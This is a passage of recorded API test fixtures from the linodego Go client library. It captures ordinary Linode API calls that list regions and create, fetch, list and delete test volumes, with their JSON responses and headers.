"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566467, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566467 method: GET response: body: '{"id": 566467, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566467 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_List.yaml000066400000000000000000000323511455402072200305450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566471, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: GET response: body: '{"data": [{"id": 267442, "status": "offline", "label": "tf_test-7708312883518347230", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_tf_test-7708312883518347230", "size": 20, "linode_id": null, "linode_label": null, "region": "us-southeast", "tags": [], "hardware_type": "nvme"}, {"id": 271109, "status": "offline", "label": "linodego-test-volume", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_linodego-test-volume", "size": 20, "linode_id": null, "linode_label": null, "region": "us-west", "tags": [], "hardware_type": "hdd"}, {"id": 299657, "status": "offline", "label": "tf_test-2637196695129364155", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_tf_test-2637196695129364155", "size": 10, "linode_id": null, "linode_label": null, "region": "us-east", "tags": [], "hardware_type": "nvme"}, {"id": 388103, "status": "offline", "label": "cool-cloned", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_cool-cloned", "size": 20, "linode_id": null, "linode_label": null, "region": "us-southeast", "tags": [], "hardware_type": "nvme"}, {"id": 566471, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}], "page": 1, "pages": 1, "results": 5}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566471 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_Resize.yaml000066400000000000000000000330131455402072200310670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566465, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566465 method: GET response: body: '{"id": 566465, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, 